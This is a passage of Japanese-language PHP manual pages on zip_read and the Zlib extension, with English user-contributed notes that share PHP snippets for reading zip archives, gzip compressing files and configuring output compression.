                        'Ratio' => zip_entry_filesize($zip_entry) ? round(100-zip_entry_compressedsize($zip_entry) / zip_entry_filesize($zip_entry)*100, 1) : false,
                        'Size' => zip_entry_compressedsize($zip_entry),
                        'NormalSize' => zip_entry_filesize($zip_entry));
                    if ($data)
                        $content[$path]['Data'] = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                    zip_entry_close($zip_entry);
                }
                else
                    $content[$path] = false;
            }
            zip_close($zip);
            return $content;
        }
        return false;
    }
    public function extractZip ($src, $dest)
    {
        $zip = new ZipArchive;
        if ($zip->open($src)===true)
        {
            $zip->extractTo($dest);
            $zip->close();
            return true;
        }
        return false;
    }
    public function makeZip ($src, $dest)
    {
        $zip = new ZipArchive;
        $src = is_array($src) ? $src : array($src);
        if ($zip->open($dest, ZipArchive::CREATE) === true)
        {
            foreach ($src as $item)
                if (file_exists($item))
                    $this->addZipItem($zip, realpath(dirname($item)).'/', realpath($item).'/');
            $zip->close();
            return true;
        }
        return false;
    }
    private function addZipItem ($zip, $racine, $dir)
    {
        if (is_dir($dir))
        {
            $zip->addEmptyDir(str_replace($racine, '', $dir));
            $lst = scandir($dir);
                array_shift($lst);
                array_shift($lst);
            foreach ($lst as $item)
                $this->addZipItem($zip, $racine, $dir.$item.(is_dir($dir.$item)?'/':''));
        }
        elseif (is_file($dir))
            $zip->addFile($dir, str_replace($racine, '', $dir));
    }
}
?>
flominator at gmx dot net 01-Aug-2007 06:49
@bisqwit at iki dot fi: If you're using older versions of PHP this skript might only read the first 8192 bytes. Great thing, anyway!
saulius at solmetra dot lt 18-Jun-2007 08:28
Some older PHP versions used to return false if zip_open failed, and newer versions return the number of error (as integer), so instead of this:

$zip = zip_open($zip_file);
if ($zip) {
  // consider zip file opened successfully
}

use this:

$zip = zip_open($zip_file);
if (is_resource($zip)) {
  // consider zip file opened successfully
}

You may also use this function to get the error message by it's number:

function zipFileErrMsg($errno) {
  // using constant name as a string to make this function PHP4 compatible
  $zipFileFunctionsErrors = array(
    'ZIPARCHIVE::ER_MULTIDISK' => 'Multi-disk zip archives not supported.',
    'ZIPARCHIVE::ER_RENAME' => 'Renaming temporary file failed.',
    'ZIPARCHIVE::ER_CLOSE' => 'Closing zip archive failed',
    'ZIPARCHIVE::ER_SEEK' => 'Seek error',
    'ZIPARCHIVE::ER_READ' => 'Read error',
    'ZIPARCHIVE::ER_WRITE' => 'Write error',
    'ZIPARCHIVE::ER_CRC' => 'CRC error',
    'ZIPARCHIVE::ER_ZIPCLOSED' => 'Containing zip archive was closed',
    'ZIPARCHIVE::ER_NOENT' => 'No such file.',
    'ZIPARCHIVE::ER_EXISTS' => 'File already exists',
    'ZIPARCHIVE::ER_OPEN' => 'Can\'t open file',
    'ZIPARCHIVE::ER_TMPOPEN' => 'Failure to create temporary file.',
    'ZIPARCHIVE::ER_ZLIB' => 'Zlib error',
    'ZIPARCHIVE::ER_MEMORY' => 'Memory allocation failure',
    'ZIPARCHIVE::ER_CHANGED' => 'Entry has been changed',
    'ZIPARCHIVE::ER_COMPNOTSUPP' => 'Compression method not supported.',
    'ZIPARCHIVE::ER_EOF' => 'Premature EOF',
    'ZIPARCHIVE::ER_INVAL' => 'Invalid argument',
    'ZIPARCHIVE::ER_NOZIP' => 'Not a zip archive',
    'ZIPARCHIVE::ER_INTERNAL' => 'Internal error',
    'ZIPARCHIVE::ER_INCONS' => 'Zip archive inconsistent',
    'ZIPARCHIVE::ER_REMOVE' => 'Can\'t remove file',
    'ZIPARCHIVE::ER_DELETED' => 'Entry has been deleted',
  );
  $errmsg = 'unknown';
  foreach ($zipFileFunctionsErrors as $constName => $errorMessage) {
    if (defined($constName) and constant($constName) === $errno) {
      return 'Zip File Function error: '.$errorMessage;
    }
  }
  return 'Zip File Function error: unknown';
}

$zip = zip_open($zip_file);
if (!is_resource($zip)) {
  die(zipFileErrMsg($zip));
}
ponsho 14-Dec-2005 12:44
For bisqwit at iki dot fi solution of alternative functions there's just one problem when trying to read the file thats because some bug in fread when handling from popen so it just load 8192 bytes here's the function corrected.

<?php

    function zip_entry_read(&$res, $nbytes)
    {
     while ($s = fgets($res['fp'],1024)) {
     $data  .= $s;
     }
      return $data;
    }
?>
barbarinasv at interfree dot it 05-Oct-2005 01:02
Function zip_entry_read() written by "bisqwit at iki dot fi" has to be modified to read entire files:

<?php
function zip_entry_read(&$res, $nbytes) {
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], $nbytes);
    }
    return $contents;
}
?>
robert at cotran dot ca 21-Sep-2005 12:19
The zip_entry_read above is wrong.  Since the file was opened with popen, you have to read the file in chunks, so zip_entry_read should read:

function zip_entry_read(&$res, $nbytes)
{
    $contents = '';
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], 8192);
    }
    return $contents;
}

Otherwise, it was a very useful library.  Thanks!
bisqwit at iki dot fi 02-Sep-2005 04:08
If your PHP installation does not have the zip_open function, and you can't install it for whatever reason, you can use these functions instead, if the server has access to the "unzip" utility (most Linux systems do).
So far I have tested these only in Fedora Core 3.
Use at your own risk.

<?php

function ShellFix($s)
{
  return "'".str_replace("'", "'\''", $s)."'";
}

function zip_open($s)
{
  $fp = @fopen($s, 'rb');
  if(!$fp) return false;

  $lines = Array();
  $cmd = 'unzip -v '.shellfix($s);
  exec($cmd, $lines);

  $contents = Array();
  $ok=false;
  foreach($lines as $line)
  {
    if($line[0]=='-') { $ok=!$ok; continue; }
    if(!$ok) continue;

    $length = (int)$line;
    $fn = trim(substr($line,58));

    $contents[] = Array('name' => $fn, 'length' => $length);
  }

  return
    Array('fp'       => $fp,
          'name'     => $s,
          'contents' => $contents,
          'pointer'  => -1);
}
function zip_read(&$fp)
{
  if(!$fp) return false;

  $next = $fp['pointer'] + 1;
  if($next >= count($fp['contents'])) return false;

  $fp['pointer'] = $next;
  return $fp['contents'][$next];
}
function zip_entry_name(&$res)
{
  if(!$res) return false;
  return $res['name'];
}
function zip_entry_filesize(&$res)
{
  if(!$res) return false;
  return $res['length'];
}
function zip_entry_open(&$fp, &$res)
{
  if(!$res) return false;

  $cmd = 'unzip -p '.shellfix($fp['name']).' '.shellfix($res['name']);

  $res['fp'] = popen($cmd, 'r');
  return !!$res['fp'];
}
function zip_entry_read(&$res, $nbytes)
{
  return fread($res['fp'], $nbytes);
}
function zip_entry_close(&$res)
{
  fclose($res['fp']);
  unset($res['fp']);
}
function zip_close(&$fp)
{
  fclose($fp['fp']);
}
?>


Zip ファイルアーカイブの中の次のエントリを読み込む

  • ≪ zip_open
  • Zlib ≫
  • PHP Manual
  • Zip 関数
  • Zip ファイルアーカイブの中の次のエントリを読み込む

zip_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_read — Zip ファイルアーカイブの中の次のエントリを読み込む

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

zip_read ( resource $zip ) : resource|false

Zip ファイルアーカイブの中の次のエントリを読み込みます。

パラメータ

zip

zip_open() でオープン済みの ZIP ファイル。

返り値

後で zip_entry_... 関数で使用されるディレクトリエントリリソース、または、 読み込むエントリがもうない場合に false、 その他のエラーが発生した場合はエラー番号を返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は非推奨になりました。オブジェクト志向のAPIを使うのが望ましいです。 ZipArchive::statIndex() を参照して下さい。

参考

  • zip_open() - Zip ファイルアーカイブをオープンする
  • zip_close() - ZIP ファイルアーカイブを閉じる
  • zip_entry_open() - 読込み用にディレクトリエントリをオープンする
  • zip_entry_read() - オープンされたディレクトリエントリから読み込む

User Contributed Notes

Anonymous 11-Jul-2019 07:18
*Here is a simple example*
<?php
$zp = zip_open('file.zip');

while ($file = zip_read($zp)) {
    echo  zip_entry_name($file).PHP_EOL;
}
?>

The output will be something similar to:

myfile.txt
mydir/
Christian 23-Mar-2013 11:29
Note: Only the first 65535 entries will be returned, even if your archive contains more entries. See https://bugs.php.net/bug.php?id=59118 for details.
nico at nicoswd dot com 29-Sep-2007 01:29
If you get an error like this:

Warning: zip_read() expects parameter 1 to be resource, integer given in xxxxxx on line x

It's because zip_open() failed to open the file and returned an error code instead of a resource. It took me a while to figure out why it failed to open the file, until I tried to use the FULL path to the file.

<?php

// Even if the file exists, zip_open() will return an error code.
$file = 'file.zip';
$zip = zip_open($file);

// The workaround:
$file = getcwd() . '/file.zip';

// Or:
$file = 'C:\\path\\to\\file.zip';

?>

This worked for me on Windows at least. I'm not sure about other platforms.


Zlib 圧縮

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Zlib 関数
    • deflate_add — インクリメンタルにデータを圧縮する
    • deflate_init — インクリメンタルな圧縮コンテキストを初期化する
    • gzclose — 開かれたgzファイルへのポインタを閉じる
    • gzcompress — 文字列を圧縮する
    • gzdecode — gzip 圧縮された文字列をデコードする
    • gzdeflate — 文字列を deflate 圧縮する
    • gzencode — gzip 圧縮された文字列を作成する
    • gzeof — gz ファイルポインタが EOF かどうか調べる
    • gzfile — gzファイル全体を配列に読み込む
    • gzgetc — gz ファイルへのポインタから文字を得る
    • gzgets — ファイルポインタから 1 行を得る
    • gzgetss — gzファイルへのポインタから1行を得て、HTMLタグを取り除く
    • gzinflate — deflate圧縮された文字列を解凍する
    • gzopen — gz ファイルを開く
    • gzpassthru — gzファイルへのポインタから残りのデータ全部を出力する
    • gzputs — gzwrite のエイリアス
    • gzread — バイナリ対応のgzファイル読み込み
    • gzrewind — gz ファイルポインタの示す位置を元に戻す
    • gzseek — gz ファイルポインタの位置を移動する
    • gztell — gz ファイルポインタの読み込み/書き込み位置を返します
    • gzuncompress — 圧縮された文字列を解凍する
    • gzwrite — バイナリセーフな gz ファイル書き込み
    • inflate_add — インクリメンタルにエンコードされたデータを解凍する
    • inflate_get_read_len — これまでに読み取ったバイト数を得る
    • inflate_get_status — 解凍の状態を取得する
    • inflate_init — インクリメンタルな解凍コンテキストを初期化する
    • readgzfile — gz ファイルを出力する
    • zlib_decode — raw/gzip/zlib で符号化されたデータを復元する
    • zlib_encode — 指定した符号化方式でデータを圧縮する
    • zlib_get_coding_type — 出力圧縮に使用されたコーディングの種類を返す
  • DeflateContext — DeflateContext クラス
  • InflateContext — InflateContext クラス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールにより gzip (.gz) で圧縮されたファイルを読み書きすることが可能となります。 この際、ファイルシステム 関数の gzip 圧縮対応版 (非圧縮ファイルも扱えますが、 ソケットは扱えません)を使用します。

注意:

バージョン 4.0.4 で .gz ファイルに対応した fopen のラッパーを導入しました。 fopen() に渡すファイル名またはパス名に zlib: をつけると、通常の f*() ファイルアクセス関数を使用して圧縮ファイルに透過的にアクセスすることができます。 この機能を使用するには、C ランタイムライブラリが fopencookie() 関数をサポートしていなければなりません。 今のところ、この条件を満たすのは GNU libc だけのようです。

PHP 4.3.0 において、':' を含むファイル名との曖昧さを避けるため zlib: は compress.zlib:// に変更されました。fopencookie() 関数は もはや必要ありません。詳細な情報は、 zlib:// にあります。

User Contributed Notes

Anon 17-Aug-2019 03:30
This introduction is incomplete because it lacks the information that the module can be used to use HTTP gzip compression with the 'zlib.output_compression' and  'zlib.output_compression_level' configuration settings.

Please be aware that cross-site scripting should be disabled when using HTTP compression because of possible BREACH attacks.


要件

このモジュールは、Jean-loup Gailly および Mark Adler による » zlib の関数を使用します。 このモジュールを使用するには、zlib バージョン >= 1.0.9 を使用する必要があります。PHP 5.4.0 以降は、 zlib >= 1.2.0.4 を使用する必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHPにおけるZlibサポートは、デフォルトでは利用できません。 Zlibサポートを有効にするには、PHPのコンパイル時にconfigureの オプションに--with-zlib[=DIR]を 指定してコンパイルする必要があります。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

zlib 拡張モジュールは、 ブラウザがサポートする場合にページを透過的に圧縮するオプションを提供します。 ここで、 設定ファイル php.ini のオプションには、以下の 3 種類があります。

Zlib設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
zlib.output_compression | "0" | PHP_INI_ALL |
zlib.output_compression_level | "-1" | PHP_INI_ALL |
zlib.output_handler | "" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

zlib.output_compression bool/int

透過的なページ圧縮を行うかどうか。php.ini または Apache の設定でこのオプションが、"On" に設定された場合、 ブラウザが "Accept-Encoding: gzip" または "deflate" ヘッダを送信する場合に、ページは圧縮されます。 "Content-Encoding: gzip" (および "deflate") と "Vary: Accept-Encoding" ヘッダが出力に追加されます。 実行時、何らかのデータを送出する前にのみ設定することが可能です。

このオプションも論理値 "On"/"Off" のかわりに整数値をとることができ、 これを用いて出力のバッファサイズ (デフォルトは 4KB) を設定することができます。

注意:

このオプションに 'On' を設定した場合、 output_handler を空にする必要があります! かわりに zlib.output_handler を使用する必要があります。

zlib.output_compression_level int

透過的出力圧縮で使用される圧縮レベル。0 (圧縮しない) から 9 (最高レベルの圧縮をする) までの値を指定します。デフォルト値の -1 は、どのレベルを使用するかをサーバーで決定させます。

zlib.output_handler string

zlib.output_compression が有効な場合、 他の出力ハンドラを指定することはできません。 この設定は、output_handler と同じですが、順番が異なります。

User Contributed Notes

Anon 17-Aug-2019 04:01
Because of possible BREACH attacks when using output compression cross-site scripting should be disallowed. This can be achieved with the same-site cookie attribute:

https://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/

https://caniuse.com/#feat=same-site-cookie-attribute
pacerier+php dot net at gmail dot com 03-Oct-2017 10:47
@finlanderid, Exactly. As output_handler and zlib.output_handler cant be both set (as per ""<output_handler must be empty if this is set 'On'>""), "different order" refers to?
galaxy 18-Jun-2015 10:49
finlanderid at gmail dot com,

you are mixing two separate things and consider them to be the same thing, hence the confusion.

There are two output_handlers:

1. http://php.net/manual/en/outcontrol.configuration.php#ini.output-handler

2. http://php.net/manual/en/zlib.configuration.php#ini.zlib.output-handler

Now, if you re-read your quotes again with this information it won't be confusing anymore :)
finlanderid at gmail dot com 21-Mar-2015 06:42
Does anyone find these two statements contradictory? Am I not understanding something, or are these statements actually contradicting each other?

Statement ONE from output_handler:
"output_handler must be empty if this [zlib.output_compression] is set 'On' ! Instead you must use zlib.output_handler."

Statement TWO from zlib.output_handler:
"You cannot specify additional output handlers if zlib.output_compression is activated ..."

Statement ONE says you have to use zlib.output_handler, if zlib.output_compression is turned ON. Statement TWO says that, if zlib.output_compression is turned ON, you cannot use zlib.output_handler.

what the heck?
scott at pawprint dot net 29-Feb-2012 06:19
In the hopes this will help others - a hard to spot gotcha when implementing zlib.output_compression. if you use flush() anywhere in your script (even right at the end) the compression won't work - you need to let that happen automatically or it ends up being sent uncompressed.
Nathan 08-Nov-2011 08:53
Apparently, there is a bug in certain versions of PHP with setting zlib.output_compression to "On" via ini_set:

<?php
ini_set("zlib.output_compression", "On");
?>

In some cases, it does not send the Content-type header and browsers won't know to decompress the contents before displaying. Instead, you can set it to the buffer size, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>


リソース型

この拡張モジュールでは、ファイルポインタリソースを定義しています。これは gzopen() が返すものです。 PHP 8.0.0 より前のバージョンでは、 zlib.deflate と zlib.inflate リソースも定義されていました。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

FORCE_GZIP (int)
FORCE_DEFLATE (int)
ZLIB_ENCODING_RAW (int)
RFC 1951 の DEFLATE アルゴリズム。PHP 7.0.0 以降で利用可能です。
ZLIB_ENCODING_DEFLATE (int)
RFC 1950 の ZLIB 圧縮アルゴリズム。PHP 7.0.0 以降で利用可能です。
ZLIB_ENCODING_GZIP (int)
RFC 1952 の GZIP アルゴリズム。PHP 7.0.0 以降で利用可能です。
ZLIB_FILTERED (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_HUFFMAN_ONLY (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_FIXED (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_RLE (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_DEFAULT_STRATEGY (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_BLOCK (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_NO_FLUSH (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_PARTIAL_FLUSH (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_SYNC_FLUSH (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_FULL_FLUSH (int)
PHP 7.0.0 以降で利用可能です。
ZLIB_FINISH (int)
PHP 7.0.0 以降で利用可能です。

User Contributed Notes

diogoko at gmail dot com 15-May-2018 12:08
A tried at 3v4l.org and the first version to have the ZLIB_ENCODING_* constants was 5.4.0.
dave dot mariano1991 at gmail dot com 27-Sep-2017 01:04
I'm noticing that all the ZLIB_ENCODING_* constants are documented to exist as of PHP 7.0, but I seem to be able to use them in PHP 5.5.9.

Could someone please confirm this documentation?


例

テンポラリファイルをオープンし、テスト用文字列を書きこみ、 続いて、このファイルの内容を 2 回出力します。

例1 簡単な Zlib の例

<?php

$filename = tempnam('/tmp', 'zlibtest') . '.gz';
echo "<html>\n<head></head>\n<body>\n<pre>\n";
$s = "Only a test, test, test, test, test, test, test, test!\n";

// 最大限の圧縮を指定して書きこみ用にファイルをオープン
$zp = gzopen($filename, "w9");

// 文字列をファイルに書きこむ
gzwrite($zp, $s);

// ファイルを閉じる
gzclose($zp);

// 読みこみ用にファイルをオープン
$zp = gzopen($filename, "r");

// 3 文字読みこむ
echo gzread($zp, 3);

// ファイルの終端まで出力して閉じる
gzpassthru($zp);
gzclose($zp);

echo "\n";

// ファイルをオープンし、内容を出力する (2回目)
if (readgzfile($filename) != strlen($s)) {
        echo "Error with zlib functions!";
}
unlink($filename);
echo "</pre>\n</body>\n</html>\n";

?>

例2 PHP 7.0.0 以降の、インクリメンタルな圧縮および伸長の API

<?php
// GZIP 圧縮
$deflateContext = deflate_init(ZLIB_ENCODING_GZIP);
$compressed = deflate_add($deflateContext, "Data to compress", ZLIB_NO_FLUSH);
$compressed .= deflate_add($deflateContext, ", more data", ZLIB_NO_FLUSH);
$compressed .= deflate_add($deflateContext, ", and even more data!", ZLIB_FINISH);

// GZIP 伸長
$inflateContext = inflate_init(ZLIB_ENCODING_GZIP);
$uncompressed = inflate_add($inflateContext, $compressed, ZLIB_NO_FLUSH);
$uncompressed .= inflate_add($inflateContext, NULL, ZLIB_FINISH);
echo $uncompressed;
?>

上の例の出力は以下となります。

Data to compress, more data, and even more data!

User Contributed Notes

There are no user contributed notes for this page.


Zlib 関数

目次

  • deflate_add — インクリメンタルにデータを圧縮する
  • deflate_init — インクリメンタルな圧縮コンテキストを初期化する
  • gzclose — 開かれたgzファイルへのポインタを閉じる
  • gzcompress — 文字列を圧縮する
  • gzdecode — gzip 圧縮された文字列をデコードする
  • gzdeflate — 文字列を deflate 圧縮する
  • gzencode — gzip 圧縮された文字列を作成する
  • gzeof — gz ファイルポインタが EOF かどうか調べる
  • gzfile — gzファイル全体を配列に読み込む
  • gzgetc — gz ファイルへのポインタから文字を得る
  • gzgets — ファイルポインタから 1 行を得る
  • gzgetss — gzファイルへのポインタから1行を得て、HTMLタグを取り除く
  • gzinflate — deflate圧縮された文字列を解凍する
  • gzopen — gz ファイルを開く
  • gzpassthru — gzファイルへのポインタから残りのデータ全部を出力する
  • gzputs — gzwrite のエイリアス
  • gzread — バイナリ対応のgzファイル読み込み
  • gzrewind — gz ファイルポインタの示す位置を元に戻す
  • gzseek — gz ファイルポインタの位置を移動する
  • gztell — gz ファイルポインタの読み込み/書き込み位置を返します
  • gzuncompress — 圧縮された文字列を解凍する
  • gzwrite — バイナリセーフな gz ファイル書き込み
  • inflate_add — インクリメンタルにエンコードされたデータを解凍する
  • inflate_get_read_len — これまでに読み取ったバイト数を得る
  • inflate_get_status — 解凍の状態を取得する
  • inflate_init — インクリメンタルな解凍コンテキストを初期化する
  • readgzfile — gz ファイルを出力する
  • zlib_decode — raw/gzip/zlib で符号化されたデータを復元する
  • zlib_encode — 指定した符号化方式でデータを圧縮する
  • zlib_get_coding_type — 出力圧縮に使用されたコーディングの種類を返す

User Contributed Notes

Robin Skoglund 04-Apr-2008 04:39
ini_set('zlib.output_compression', 'On') doesn't work

It says that zlib.output_compression is PHP_INI_ALL changable, but in my case at least, this is not true. When using ini_set('zlib.output_compression', 'On') runtime, phpinfo() states that zlib.output_compression is enabled, yet there is no compression.

Since I don't want to enable zlib.ouput_compression for all sites in php.ini, my solution was to enable it in apache conf (.htaccess should work as well) with the line:
php_flag zlib.output_compression on

Just spent hours figuring this out, so I hope it helps other people.

Btw, I'm using Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6.3.
Brian 25-Jun-2007 11:58
If you have zlib.output_compression set to on when your script starts (in php.ini or via apache directive), then you disable it at runtime using ini_set() before producing output, your output will still be buffered!  Even if you call ob_implicit_flush().

If you want unbuffered output, you must disable zlib.output_compression before your script starts (as well as mod_gzip of course, if you have both installed).

This behaviour experienced on Server: Apache/1.3.33 (Debian GNU/Linux) mod_gzip/1.3.26.1a PHP/4.3.10-18
anzenews at volja dot net 27-Jul-2006 06:59
php at seven dot net dot nz:
Have you been using register_shutdown_function() that outputs something? If yes, some of the output was not encoded and IE6 is less than forgiving about that. In my case it was reloading the page and sometimes showing a blank page. So IE6 does get invalid stream, bug is not bogus, only description is not good enough.

jpleveille at webgraphe dot com:
In PHP 4.4.2 register_shutdown_function() DOES output whatever you wish, but it is not encoded with the rest of the document. Which is even worse as you get a bug that is difficult / impossible to track down.
php at seven dot net dot nz 07-Jul-2006 01:49
zlib.output_compression has caused problems for me in IE 6, when pages are sometimes not displayed. This could be difficult to track down and PHP have no intention of fixing it, so hopefully you find this note in a search if it happens to you.

http://bugs.php.net/bug.php?id=38026
Arne dot Heizmann at csr dot com 23-May-2006 10:34
PHP Version 5.1.4 here. What Bob said is correct even in this version (newest at the time of writing). You can't enable zlib.output_compression via ini_set(). You have to use php.ini.
Bob 19-Sep-2005 06:45
Contrary to what the documentation says, I've been unable to get zlib.output_compression to work via ini_set() (Even though I put it at the very beginning of the file before any output was sent) as of php 4.3.11.  While it does get set to true, it will not actually do anything. Which means if you don't set this via php.ini or Apache configuration it's a no-go. I have to use ob_start("ob_gzhandler"); instead.
djmaze(AT)dragonflycms(.)org 27-Aug-2005 08:27
If you need to compress data and send it as "Content-disposition: attachment" and on-the-fly to the client due to the size for example (40Mb) here's a dirty trick using ob_gzhandler()

Keep in mind that $str is the content to output.

When you start the output call

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_START);
?>

Then to output any further content

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_CONT);
?>

And to close the output

<?php
echo ob_gzhandler('', PHP_OUTPUT_HANDLER_END);
exit;
?>

Only tested on Apache 1.3.33 with PHP 5.0.4
ghassler at speakeasy dot net 03-Jul-2005 09:45
I tested all the compression levels against a 22k page and here are the results I got (in bytes):

off = 22549
1 = 4297
2 = 4279
3 = 4264
4 = 4117
5 = 4097
6 = 4063
7 = 4011
8 = 3998
9 = 3996

Looks like the best bets for zlib.output_compression_level is 1 or 5.  The default of 6 is probably OK too.  Don't know what the CPU usage difference is between them all though.
jpleveille at webgraphe dot com 10-Jun-2005 06:08
register_shutdown_function() (http://www.php.net/register_shutdown_function) won't output anything if you use zlib.output_compression.

Shutdown function is called after closing all opened output buffers thus, for example, its output will not be compressed if zlib.output_compression is enabled.
admin_at_commandline_dot_ch 08-Oct-2004 05:32
My gzip function.

This function read, compress and writhe only small chunks at one time, this way you can compress big files without memory problems...

<?php
function gzip($src, $level = 5, $dst = false){
    if($dst == false){
        $dst = $src.".gz";
    }
    if(file_exists($src)){
        $filesize = filesize($src);
        $src_handle = fopen($src, "r");
        if(!file_exists($dst)){
            $dst_handle = gzopen($dst, "w$level");
            while(!feof($src_handle)){
                $chunk = fread($src_handle, 2048);
                gzwrite($dst_handle, $chunk);
            }
            fclose($src_handle);
            gzclose($dst_handle);
            return true;
        } else {
            error_log("$dst already exists");
        }
    } else {
        error_log("$src doesn't exist");
    }
    return false;
}
?>
gem at rellim dot com 13-Jul-2004 08:03
Run, do not walk, run, to add this to your Apache config file:

php_flag zlib.output_compression On
php_value zlib.output_compression_level 5

I just tried this and achieved 10x and 15x speed inprovement on
some mature php pages.  Pages I have been seating over to make 5% gains on.  I use microtime() on critical pages to help me track page speed and that confirms the speed improvement.  The php page takes a timestamp at the beginning and end, then logs the page duration.  So any IP transmission effects are not included.  There is
a clear subjective difference to the user.

The test system was PHP 4.3.6, Apache 2.0.49 over Linux 2.4.
As always YMMV.
zigazou at free dot fr 12-Jun-2004 03:44
If you use "zlib.output_compression = On" in your php.ini file, and activates output buffering (ob_start), don't output this header :
header('Content-Length: '.ob_get_length());

This is because ob_get_length() will return the uncompressed size while zlib will compress the output. Thus your browser will get confused waiting for extra data that will never come.
xorinox at tiscali dot ch 04-Jun-2004 07:52
Have a look to this extended version :)

<?php

function compress( $srcFileName, $dstFileName )
{
    // getting file content
    $fp = fopen( $srcFileName, "r" );
    $data = fread ( $fp, filesize( $srcFileName ) );
    fclose( $fp );

    // writing compressed file
    $zp = gzopen( $dstFileName, "w9" );
    gzwrite( $zp, $data );
    gzclose( $zp );
}

function uncompress( $srcFileName, $dstFileName, $fileSize )
{
    // getting content of the compressed file
    $zp = gzopen( $srcFileName, "r" );
    $data = fread ( $zp, $fileSize );
    gzclose( $zp );

    // writing uncompressed file
    $fp = fopen( $dstFileName, "w" );
    fwrite( $fp, $data );
    fclose( $fp );
}

compress( "tmp/supportkonzept.rtf", "tmp/_supportkonzept.rtf.gz" );
uncompress( "tmp/_supportkonzept.rtf.gz", "tmp/_supportkonzept.rtf", filesize( "tmp/supportkonzept.rtf" ) );

?>
ec10 at gmx dot net 20-May-2004 11:38
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @param string $param = "1"
 * @desc compressing the file with the zlib-extension
*/
function gzip ($in, $out, $param="1")
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    if (!$out_file = gzopen ($out, "wb".$param)) {
        return false;
    }

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
        gzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    gzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the zlib-extension
*/
function gunzip ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = gzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while (!gzeof ($in_file)) {
        $buffer = gzread ($in_file, 4096);
        fwrite ($out_file, $buffer, 4096);
    }

    gzclose ($in_file);
    fclose ($out_file);

    return true;
}
spam at wildpeaks dot com 13-May-2004 07:04
For decompressing, i modified a function posted earlier (that way $string doesn't have a big size that may be beyond the memory limit if the gzipped file is big) :

function file_ungzip($fromFile, $toFile) {
    $zp = @gzopen($fromFile, "r");
    $fp = @fopen($toFile, "w");
    while(!@gzeof($zp)) {$string = @gzread($zp, 4096); @fwrite($fp, $string, strlen($string));}
    @gzclose($zp);
    @fclose($fp);
}
thivierr at telus dot net 17-Nov-2003 04:02
I found the absolute easiest way to read a gzip file is as follows:

echo file_get_contents("compress.zlib:///myphp/test.txt.gz");

To create a gzip file:
file_put_contents("compress.zlib:///myphp/test.txt.gz","Put this in the file\r\n");

Things to note about this:
-The best prefix to use is "compress.zlib", not "zlib"
-If you wish to specify a path starting in the root path, you actually end up with three slashes.  The above path corresponds to "/myphp/test.txt" on unix, and "c:\myphp\test.txt" on Windows (if C: is the current drive).  I tested it just on Windows.
-Compression and decompression both use the same prefix of "compress.zlib://" (plus one more slash to get a root dir).
-I'm using 5.0, so I'm not 100% sure which behaviour started in which version.
chris at mad-teaparty dot com 27-May-2003 05:10
Nice function. I did it the other way round:

function uncompress($srcName, $dstName) {
   $zp = gzopen($srcName, "r");
   while(!gzeof($zp))
        $string .= gzread($zp, 4096);
   gzclose($zp);

   $fp = fopen($dstName, "w");
   fwrite($fp, $string, strlen($string));
   fclose($fp);
}

uncompress("./myfile.txt.gz", "./myfile.txt");

A shorter approach would be:

function uncompress($srcName, $dstName) {
  $string = implode("", gzfile($srcName));
  $fp = fopen($dstName, "w");
  fwrite($fp, $string, strlen($string));
  fclose($fp);
}
mlevy at rgj dot com 12-Feb-2003 02:06
If you turn zlib.output_compression_level on, be advised that you shouldn't try to flush() the output in your scripts. PHP will add the gzip header but send the output uncompressed, which plays havoc with Mozilla. IE seems to handle it, though.
monte at ispi dot net 18-Apr-2001 06:02
An alternate way to handle gzip compression is to let the mod_gzip module of apache handle it. This seems to contradict the tutorial on phpbuilder.com saying that it won't compress php (or any dynamic) output, but mod_gzip as of version 1.3.17.1a works well for me.

Here is an example of an httpd.conf setup:

<IfModule mod_gzip.c>
mod_gzip_on                 Yes
mod_gzip_dechunk            Yes
mod_gzip_minimum_file_size  300
mod_gzip_maximum_file_size  0
mod_gzip_maximum_inmem_size 100000
mod_gzip_keep_workfiles     No
